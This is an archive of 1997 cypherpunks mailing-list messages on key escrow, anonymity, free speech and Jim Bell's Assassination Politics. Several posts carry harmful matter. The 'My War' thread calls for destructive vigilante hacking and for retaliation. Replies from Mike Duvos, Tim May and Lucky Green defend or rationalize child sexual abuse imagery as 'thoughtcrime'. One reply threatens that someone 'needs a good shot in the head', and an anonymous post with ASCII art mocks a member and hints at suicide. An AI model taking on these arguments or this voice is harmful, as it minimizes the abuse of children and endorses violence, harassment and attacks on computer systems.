Date: Tue, 10 Jun 1997 03:41:54 +0800
To: cypherpunks@toad.com
Subject: With friends like these...
Message-ID: <199706091928.MAA01854@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




I just read www.crypto.com/key_study.  I was not impressed.  In fact,
one thing worries me a lot.  I think the report basicly sells us out.

The authors, Hal Abelson [1], Ross Anderson [2], Steven M. Bellovin
[3], Josh Benaloh [4], Matt Blaze [5], Whitfield Diffie [6], John
Censor Gilmore [7], Peter G. Neumann [8], Ronald L. Rivest [9],
Jeffrey I. Schiller [10], Bruce Schneier [11],
include many "respected" "experts".  Some of them, like Blaze and Diffie
and Schneier, are people who act like they're on our side.  But... Benaloh
works for microsoft and Rivest for Bidzos.  Two from AT&T.  One from
HP.  One from Sun.  The influence of big money was clear.  They want
what's good for the big companies.

The report endorses pro-code/safe, which effectively criminalizes the
use of crypto and would outlaw remailers.  It's true that they say key
recovery is a bad idea (not that it's unacceptable, however,
just a bad idea, not nearly as strong as it could be).  The reason they give
is that they think it may be too expensive for corporate America.
What they don't say is Far more interesting:

They don't say that key escrow is unacceptable, period.

They don't mention the big brother problem.

They don't talk about the long history of
government abuse (FBI, CIA, NSA, etc).

The conveniently leave out ALL the libertarian issues about how key escrow making the government bigger and more powerful.

They just seem to care about what it costs.  And
these are our friends?

Now lets look at who benefits from this point of view. Criminalize
crypto, outlaw remailers, no expensive key escrow.  It SOUNDS good, at
least a small gain, but this gives them a real tool AGAINST us.  They
can come after crypto users for the first time.  Who benefits? BIG
companies.  NOT CYPHERPUNK GOALS.

By not mentioning it, I think these guys have sold out.  They
may not realize it themselves, but the effect is just as bad (maybe worse).

CDT which brought us the CALEA and the CDA, funded the study. They no
doubt were able to influence the content to get rid of the
"unacceptable" stuff.

We should be asking who our friends are here.  I think if these guys
really wanted to be effective, they could take more of a real stand, with some
real risks. Have ANY of these guys ever written code to promote strong
crypto? Schneier wrote a book, but, charges for his services. I don't
think they have been "bought" or are working for the other side, I just
think we should be realistic about who the "experts" are really
working for - their own pockets and their big employers.

KEY ESCROW IS UNACCEPTABLE, PERIOD.  No matter what the cost.  No
matter how safe.  No matter what.

I think we should respectfully ask them to clarify where they
stand.  Mr experts,

<hal@mit.edu>
<ross.anderson@cl.cam.ac.uk>
<smb@research.att.com>
<benaloh@microsoft.com>
<mab@research.att.com>
<diffie@eng.sun.com>
<gnu@toad.com>
<neumann@sri.com>
<rivest@lcs.mit.edu>
<jis@mit.edu>
<schneier@counterpane.com>

Do you stand for the criminalization of crypto? Is there anything
wrong with key escrow other than the cost? Why is your report so weak?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 10 Jun 1997 03:28:47 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <199706090007.CAA10876@basement.replay.com>
Message-ID: <Pine.A41.3.95.970609131623.103284B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> `A pen is mightier than a sword', not to mention Timmy C. 
> May's pea-sized penis. He would be better served by a 
> safety razor, possibly applied in a bathtub filled with 
> warm water (something he has surely never been into).
> 
>       o
>   /\O/        O Timmy C. May
>  0  \\    | 0-#
>     //    |  / \
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 10 Jun 1997 04:37:46 +0800
To: cypherpunks@toad.com
Subject: Re: My War
In-Reply-To: <Pine.LNX.3.91.970609152448.2461B-100000@fatmans.demon.co.uk>
Message-ID: <339C4E1F.11DF@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > I started logging the channels. I wanted to silently gather IP addresses
> > and email addresses. These people needed some genuine hacker terror.
> > Among some of the more active and persistent traders were:
> 
> se7en believes in attacking other peoples equipment and censoring those
> who say things he does not like. Foo.
> 
> > Well, this whole situation is unacceptable.
> 
> In what sense?
> 
> > First, I would like to apologize to all those who have hired me in
> > the past, and were subject to my emotional rants about how the
> > whole subject was bullshit and not real.
> 
> Is this really relevant?
> 
> > It is very real. It is disgustingly real. It is so real it will make you
> > want to throw up, and I actually, physically did throw up last night.
> 
> Good, I hope your censorous ass chokes next time.
> 
> > Second, in reference to previous conversation over the years on this list,
> > and in the hacking community in general, I know this type of activity is
> > not tolerated by us.
> 
> Do not include me in either the falsely moral "hacker community", which
> does not even exist anymore in the same way it did years ago, or make
> assumptions that I believe certain forms of speech are more valuable than
> others.
> 
> > Yes, I am advocating malicious, destructive hacking activity against
> > these people. Who are they going to run to? The police? "They hacked my
> > kiddie porn server and rm -rf'd my computer!" Right...the police will be
> > so anxious to lock us up left and right.
> 
> Anyone who attacks others peoples computer equipment in this manner
> commits a crime, whether they can respond or not is immaterial, it is a
> matter of morality and respecting other peoples right to free spech and
> their property rights.
> 
> > These people need to be eradicated from the Internet. While that may
> > never happen completely, enough harrassment will send a message that
> > engaging in this type of activity in very dangerous, and can result in
> > serious harrassment, public embarrassment and computer destruction.
> 
> An aspiring member of the cabal crawls out of the woodwork <sigh>...
> 
> > This is my war. It will be a public war. I don't care what happens to me
> > by their community or by law enforcement. I feel secure enough that no
> > jury in the world will convict me for taking these people out.
> 
> "Members of the jury, we only killed him because he was black, surely you
> realise all blacks are scum, don`t you?"
> 
> > I don't expect people to join me here on this. If you do, you have enough
> > information to start. I caution you to log what is going on, and to make
> > sure you are hitting the guilty, so no innocent people get annihilated in
> > the process. Make damn sure you know who you are hitting and why, and be
> > able to back it up with the idea of having to justify your actions in
> > front of a jury.
> 
> I would encourage anyone who wants to to take retaliatory action against
> se7en or any of his supporters to do so, attacks on freedom of speech and
> attempts at censorship like this cannot be allowed to go unchallenged.
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"

Sounds like someone's afraid that se7en might trash his kiddie porn
stock.  How on the HELL do you categorize child pornography as "Freedom
of speech"?  How???  It is disgusting and only extremely sick
individuals take a part in it.  If you're defending it, then excuse me
for rushing to judge, but you are a sick, disgusting ass-fuck that needs
a good shot in the head.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 10 Jun 1997 04:49:53 +0800
To: cypherpunks@Algebra.COM
Subject: WSJ on Money Laundering
Message-ID: <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Check out the latest (June 9th, 1997) Wall Street Journal.  On page B1
there is an article on the wave of money laundering convictions for
non-drug related crimes.  In fact, the article points out that just about
any monetary transaction can be declared money laundering.  (And get
upheld in court!)

And the reasons behind this?  Long terms and lots of ready cash for the
feds.

"Property Seizure: It's not just for drug crimes anymore!"

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 10 Jun 1997 05:27:28 +0800
To: nobody@huge.cajones.com
Subject: Re: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <199706092106.OAA18846@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer writes:
> 
> 
> I just read www.crypto.com/key_study.  I was not impressed.  In fact,
> one thing worries me a lot.  I think the report basicly sells us out.

[shitload of FUD deleted]

Is there something important coming up that we should know about?
Something big enough to make the FUD-mongers want to distract us?


The main lie in this message was that the report endorses safe/pro-code.
It does not.  It doesn't even mention them.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 10 Jun 1997 05:25:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: My War
In-Reply-To: <339C4E1F.11DF@popmail.firn.edu>
Message-ID: <199706092117.OAA29644@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



A Hysterical Person writes:

> Sounds like someone's afraid that se7en might trash his kiddie porn
> stock.

As with all hysterical people, the first words out of his mouth are a
pathetic attempt to suggest that anyone who doesn't agree with his
position is a consumer of whatever it is he disapproves of. 

> How on the HELL do you categorize child pornography as "Freedom
> of speech"?  How??? 

While I certainly think that society has every right to enforce reasonable
workplace health and safety standards within the commercial porn industry,
including setting reasonable age limits for employment therein, the
current ban on any and all depictions of the sexuality of minors, even
synthetic ones, is clearly an ideological purge of speech certain people
are uncomfortable with, and not some glowing crusade to protect children
from harm. 

> It is disgusting and only extremely sick individuals take a part in 
> it.

You're right.  Arrest Janet Reno immediately, and confiscate all motion
picture footage of the Waco child torchings. 

> If you're defending it, then excuse me for rushing to judge, but you are a
> sick, disgusting ass-fuck that needs a good shot in the head. 

Sounds like someones socioerotic rehearsal play was severely limited
during their formative years.  Guaranteed every time to produce a cranky
neurotic who displaces sexual arousal into anger when confronted with
erotic imagery involving the young and emotionally healthy. 

Please post again when you have something to say about cryptography, and
try to stay away from the kiddie pool.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Mon, 9 Jun 1997 22:50:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <339c0f30.65344598@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 8 Jun 1997 15:48:58 -0700, you wrote:

>At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>>
>>>I don't think commercial speech should be treated as second-class speech.
>>>But my position is hardly surprising.
>>
>>Well I think that there are some that would confuse the issue between 1st
>>Amendment free speech and the issues surrounding fraud. Especially those
>>in government who write the laws that regulate commercial speech.
>
>The mistake has been to extend "fraud" laws to non-contract situations,
>e.g., ordinary speech (as distinguished from contracts).

  This is very true. We now live in a society that expects to be
'protected' from everything, including their own ignorance, by Big
Brother. Free Speech is just that -- free -- and should be accepted as
such. We have various private organizations that have made it their
business to oversee the truthfulness of product advertising and
quality and this is how it should be.

  I believe that we have actually given up some of our free speech
rights in order to be protected against the 'big bad companies looking
to rip you off'. This has resulted in the government making a grab for
more and more of our rights, the building of a buearucratic
infrastructure to support this grab, and a seperate society back there
in Wasington DC.

  Brian

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5wRWKQxGtxXsXypAQG9DAP/dKydBwBI9JZ40nuJv0hDsWlytQRwSUPq
9tgxjTr7QC+qRJ4mYzikIvcdWKISk203sD4BsXbC83fW9p8zQuaN9RagMTUBKfOw
yM0Pc6lyfv/G6IYqxt71vWnzHBHCrcGamFQQXASd1QzKSvUUHH/ealuBCuPVZYm3
GWH1YrtzMiI=
=Ht6r
-----END PGP SIGNATURE-----

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 10 Jun 1997 03:54:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: <Pine.LNX.3.96.970609144908.769A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 9 Jun 1997, Huge Cajones Remailer wrote:

> Sorry if this has been beaten to death before (if it has, a pointer to
> where it is in the archives would be appreciated), but is it possible to
> chain anonymizing proxy servers in a way similar to remailers?

It is possible, but more difficult.  A system that just chains and encrypts
through several different proxies keeps the traffic secret, but reveals
the source and destination of every connection using traffic analysis.  The
NRL Onion Router scheme had this problem, I think.  The way to avoid this
is to maintain constant connections between proxies and endpoints.




Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM5xRdyzIPc7jvyFpAQERDQf/RLDiYPeQ+P/x0CKcRUvuQUxOO87nx8VL
+2YVOcgoF9uQ/UCL01NmrIAwnplW083HJN1s0TtlNxuKBx+I65Sk5dkoiBUyJDex
D+RsiqYIY3YiNa6zFs03oE9aAmv2lPXPW/zrLgX+CYZOei9XPB9LgBUm4ryzEbdF
H6ZtUSBtBvT8ZCTV25JUFy1mM8sfblqpvg7T9rYkC3OMdpelziqSwcGC86WOTyQ7
PujA4C36B1RuQ1Jd8FH2cfIStLHzyvN81MY12P+8oF1YsEpow6R286S6haGiT8z+
gZFC1tgykYn9D6Xr0BKzp5uHA+IVpvjv3ZxN8gJxDeUyYf2555KpCw==
=Jfpo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 06:09:21 +0800
To: cypherpunks@cyberpass.net
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <339C4E1F.11DF@popmail.firn.edu>
Message-ID: <v0310280aafc22b34389e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:17 PM -0700 6/9/97, Mike Duvos wrote:

>While I certainly think that society has every right to enforce reasonable
>workplace health and safety standards within the commercial porn industry,
>including setting reasonable age limits for employment therein, the
>current ban on any and all depictions of the sexuality of minors, even
>synthetic ones, is clearly an ideological purge of speech certain people
>are uncomfortable with, and not some glowing crusade to protect children
>from harm.

Precisely. The laws are designed to go after the thoughts. Synthetic
images, images of little girls in leotards. images of teenagers of legal
age *in the countries of origin*...none of these involve acts of sexual
congress with a child in violation of the laws of the U.S. The only crime
is thoughtcrime.

Thoughtcrime.

As for whether it is "sick" to be sexually attracted to an "underage"
person, I sure do recall being attracted to a lot of the girls in high
school, and they were certainly nearly all "underaged."

(I won't delve into this further, and won't get into issues of what the
ages should be. In earlier cultures, girls were married off by the age of
12-14, and boys by the age of 14-16, for various good reasons.)

This "se7en" person should understand that a strong crypto list is probably
the wrong place to find converts for a crusade against thoughtcrimes. For
one thing, what does he think remailers are useful for? Or anonymity? Or
digital cash? Or that evil technology, "morphing."

(A popular project is to use Photoshop and similar tools to juxtapose the
faces and bodies of various celebrities and nude bodies. "Sabrina the
Teenage Witch Meets Tiffany Towers." This act is apparently now a Class A
Thoughtcrime in several U.S. jurisdictions. Amazing.)

Oh, and "se7en" should go back with his newly discovered religious fervor
and watch the movie "Se7en," from whence he got his handle. It has been
declared "violence porn" by some of his ideological fellow-travellers.

Ironic indeed.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 10 Jun 1997 00:14:21 +0800
To: se7en <se7en@dis.org>
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <Pine.LNX.3.91.970609152448.2461B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> I started logging the channels. I wanted to silently gather IP addresses 
> and email addresses. These people needed some genuine hacker terror. 
> Among some of the more active and persistent traders were:

se7en believes in attacking other peoples equipment and censoring those 
who say things he does not like. Foo.

> Well, this whole situation is unacceptable. 

In what sense?

> First, I would like to apologize to all those who have hired me in 
> the past, and were subject to my emotional rants about how the 
> whole subject was bullshit and not real. 

Is this really relevant?

> It is very real. It is disgustingly real. It is so real it will make you 
> want to throw up, and I actually, physically did throw up last night.

Good, I hope your censorous ass chokes next time.

> Second, in reference to previous conversation over the years on this list, 
> and in the hacking community in general, I know this type of activity is 
> not tolerated by us. 

Do not include me in either the falsely moral "hacker community", which 
does not even exist anymore in the same way it did years ago, or make 
assumptions that I believe certain forms of speech are more valuable than 
others.

> Yes, I am advocating malicious, destructive hacking activity against 
> these people. Who are they going to run to? The police? "They hacked my 
> kiddie porn server and rm -rf'd my computer!" Right...the police will be 
> so anxious to lock us up left and right.

Anyone who attacks others peoples computer equipment in this manner 
commits a crime, whether they can respond or not is immaterial, it is a 
matter of morality and respecting other peoples right to free spech and 
their property rights.

> These people need to be eradicated from the Internet. While that may 
> never happen completely, enough harrassment will send a message that 
> engaging in this type of activity in very dangerous, and can result in 
> serious harrassment, public embarrassment and computer destruction.

An aspiring member of the cabal crawls out of the woodwork <sigh>...

> This is my war. It will be a public war. I don't care what happens to me 
> by their community or by law enforcement. I feel secure enough that no 
> jury in the world will convict me for taking these people out. 

"Members of the jury, we only killed him because he was black, surely you 
realise all blacks are scum, don`t you?"

> I don't expect people to join me here on this. If you do, you have enough 
> information to start. I caution you to log what is going on, and to make 
> sure you are hitting the guilty, so no innocent people get annihilated in 
> the process. Make damn sure you know who you are hitting and why, and be 
> able to back it up with the idea of having to justify your actions in 
> front of a jury.

I would encourage anyone who wants to to take retaliatory action against 
se7en or any of his supporters to do so, attacks on freedom of speech and 
attempts at censorship like this cannot be allowed to go unchallenged.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Tue, 10 Jun 1997 03:49:08 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <19370327300899@nac.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Mon Jun 09 15:38:35 1997

> On Mon, 9 Jun 1997, Anonymous wrote:
> 
> I think Vulis needs each of us to send ten copies of this back to him.
> 
[...]
I think I'm sending *you* ten copies of this.


                   -=Start Signature=-
Goth.Code 3.1 GoCS5$ TAnFe P! B7/17Bk#1 cBk(Lb)-s6 V6s M3p1wgD
ZGoPuoMehFon!! C9oc A20+(24) n5 b54 H185 g6!??94A m@Z4? w6T v1h
r7EISP p1Z565Hm D26 h5(R) sM10M SsYw k6B N1286JONEH RzM LusNY3
          -=http://www.nac.net/~users/spectre=-
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM5xbwqAC4xvMjGa1AQGGrwf/RFxPyCB1MGB+QLUi2cRxZW52X9MBcVr2
dlZd6BZxvbDy5uo8FCbQly4vLG35N/P08SeeCrtnuXjPc9rb/RF38O/rtwSRqFDy
sbgtrrFaTwOyOruOAGbuXllHCStYYC0GHYESAoJOXi8vxdMHk0kxZXuWgnAO2uwh
c2ON2Jv1f9YmybGrClZ0CaFybWKOG6r3m31QLOJUZqOWZbErRTYOlDM7//09x/ZZ
ZA6XCUgLDPPNfm6PSaJmqBeEkgqQC3I0q6uslYi+43u14mXTCa/ddxUG0crMAUb2
F6MyRlD2FjaalVcH69me9VIfJPybbW/o3MbJ7RkNDVAvCNfCg0wenw==
=M57W
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.Laffra" <laffra@watson.ibm.com>
Date: Tue, 10 Jun 1997 03:52:23 +0800
Subject: No Subject
Message-ID: <9706091939.AA17006@gumby.watson.ibm.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

My records indicate that we exchanged email in the last three years.
I sincerely apologize if this email is mis-directed.

This is to inform you of my new address:

	Chris Laffra, Ph.D.
	Research Staff Member
	Java Tools Group
	Computer Science Department
	Research Division

	IBM T.J. Watson Research Center
	P.O. Box 704
	Yorktown Heights, NY 10598
	Tel: (914) 784 7525
	Fax: (914) 784 6576
	email: laffra@watson.ibm.com
	web: www.research.ibm.com/people/l/laffra (soon to be actived)

	email: laffra@aol.com
	web: members.aol.com/laffra

Chris.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 10 Jun 1997 05:41:10 +0800
To: Alan <alano@teleport.com>
Subject: Re: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <v03007803afc21fae9271@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 09:36 -0700 6/9/97, Alan wrote:
>On Mon, 9 Jun 1997, Declan McCullagh wrote:
>
>>
>> Actually, Bell's plan was simply the ultimate adolescent revenge fantasy.
>> Government thugs got your goat (or your computers, your car, your guns?)
>> Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
>> you off on the way to work? Kill them off.
>
>This is the best description of AP so far.  Jim had about as much chance
>of implementing it as most adolescent fantasies.  (At least he was not
>posting about porn fantasies involving the Brady Bunch meets Gilligan's
>Island or somesuch...)

This is a draft of what I wrote in my Internet Underground article:

	If nothing else, Bell's plan was inventive: few
	people like the IRS, but even fewer have ever
	concocted a way to eliminate it. In fact, Bell
	had devised the ultimate revenge fantasy. Upset
	at demanding creditors, former lovers, or
	jackbooted thugs? The 38-year old computer
	engineer described how you could find someone
	willing to kill them -- for the right price.
	It was sexy, too. Bell's plan relied on the
	Internet, anonymous remailers, untraceable
	digital cash, and unbreakable public-key
	encryption. He even gave it a catchy name:
	Assassination Politics.

[...]

	Bell was most interested in talking up
	Assassination Politics and predicting how it
	would eventually blossom. He had just published
	an op-ed in a local newspaper saying "the whole
	corrupt system" could be stopped. "Whatever
	my idea is, it's not silly. There are a lot
	of adjectives you can use, but not silly," he
	told me. "I feel that the mere fact of having
	such a debate will cause people to realize that
	they no longer have to tolerate the governments
	they previously had to tolerate. At that point
	I think politicians will slink away like they
	did in eastern Europe in 1989. They'll have
	lost the war."

	He told me why he became convinced that the
	government needed to be lopped off at the
	knees. Bell's epiphany came after he ordered
	a chemical from a supply firm and was arrested
	when he failed to follow EPA regulations. "That
	radicalized me," he said. "That pissed me off.
	I figured I'd get back at them by taking down
	their entire system. That's how I'd do it."'

	Moral issues aside, one of the problems plaguing
	Bell's scheme is that it's not limited to
	eliminating "government thugs who violate your
	rights," as he likes to describe it. If it
	existed, anyone with some spare change could
	wipe out a nosy neighbor or even an irritating
	grocery store clerk. After I pointed this out
	to Bell on the phone, he fired email back a few
	days later saying, "Assuming a functioning
	Assassination Politics system, nothing stops
	you from contributing to my death." He
	suggested that maybe assassins would develop
	scruples: "You'd be able to purchase deaths
	of unworthy people, but it might be only at a
	dramatically higher price. Doable but not
	particularly economical."

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 10 Jun 1997 05:24:01 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
Message-ID: <97Jun9.171030edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Bill Stewart wrote:

> Having argued that point vociferously in the past, I'm now going to
> waffle on the issue - while the business need is for access to
> stored data, this may often include stored messages received from
> a communication system in encrypted form.  Either the User Interface
> needs to make it convenient to store the decrypted message,
> or else the user will store the message in encrypted form -
> which means there may be a business need for Proper Authority Access later.

Move all accounts that use corporate secured email to a secure local
server (e.g. per office), and do something like a procmail recipe that
will decrypt automatically and forward the plaintext to the recipient
(archiving as per policy).  If the messages need security, then they don't
leave the secured server and the accounts are such that I can't read other
people's mail directory and others can read mine.  All the keys are
generated and maintained on this server so passwords are controlled by
the administrator.

Or just have them use the encryption within the corporate standard word
processor, and spend the $100 or so for the 5-second cracking program.

You can automate security to prevent user's not following procedure
(saving encrypted files).  You can't do much about malice or creativity
(e.g. my PGP on my laptop). 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 10 Jun 1997 06:38:39 +0800
To: cypherpunks@toad.com
Subject: Doc Offerings
Message-ID: <1.5.4.32.19970609222325.0090c7c4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer:

A Federal Register notice today of an upcoming
Technology Administration "Public Forum on Certificate 
Authorities and Digital Signatures":

   http://jya.com/ta060997.txt

The recent Denver ruling of $350K damages against the IRS
for disclosing confidential tax payer information:

   http://jya.com/wardvusa.htm  (48K)

NIST's latest package on the Key Recovery Demonstration
Plan of a test run among 10 federal agencies, including a 
May 29 solicitation:

   http://jya.com/krdp.htm  (37K)

And, the quite instructive 1994 Department of Justice 
"Federal Guidelines for Searching and Seizing Computers":

   http://jya.com/doj-search.htm  (376K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 10 Jun 1997 06:46:18 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <199706092231.SAA29002@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Yes, these are our freinds.  They are attacking key recovery where its
being sold; namely to companies.  And the report is damned effective
at selling companies that 'the best cryptographers in the world'
oppose this.

Its been very useful to me for that already.

Adam

| just a bad idea, not nearly as strong as it could be).  The reason they give
| is that they think it may be too expensive for corporate America.
| What they don't say is Far more interesting:
| 
| They don't say that key escrow is unacceptable, period.
| 
| They don't mention the big brother problem.
| 
| They don't talk about the long history of
| government abuse (FBI, CIA, NSA, etc).
| 
| The conveniently leave out ALL the libertarian issues about how key escrow making the government bigger and more powerful.
| 
| They just seem to care about what it costs.  And
| these are our friends?


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 10:50:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <199706092117.OAA29644@netcom17.netcom.com>
Message-ID: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:02 PM 6/9/97 -0700, Tim May wrote:
>Precisely. The laws are designed to go after the thoughts. Synthetic
>images, images of little girls in leotards. images of teenagers of legal
>age *in the countries of origin*...none of these involve acts of sexual
>congress with a child in violation of the laws of the U.S. The only crime
>is thoughtcrime.

Lately, I have been thinking much about an old saying: "Everything is the
other way around."

My current interpretation of this rather Zen expression is that what we
know to "obviously" to be the cause is often the effect and the other way
arround.

Let us assume that it is unethical to force children to participate  in the
production of child pornography. (For the benefit of Kent and the more
ignorant people on this list, I will state that I firmly believe this to be
true, despite the fact that doing so should be irrelevant for the argument.)

Furthermore, let us assume that there are a number of individuals who enjoy
looking at hard core child pornography.

The question then is: does going after the distributors provide a benefit
to the children being (potentially) used for such pictures?

The answer is clearly no. By limiting the distribution of an individual
picture, you increase the total number of pictures required to satisfy
market demand. That means more children will be required to meet demand.

Thus, by going after the distributors, Se7en causes more children to be
violated by child pornographers.

The only question that remains is: how can he live with this?

Logic != base emotions,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Tue, 10 Jun 1997 07:50:27 +0800
To: cypherpunks@Algebra.COM
Subject: MS Access 97 deprotection? (fwd)
Message-ID: <199706092343.SAA01302@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from Peter Trei -----

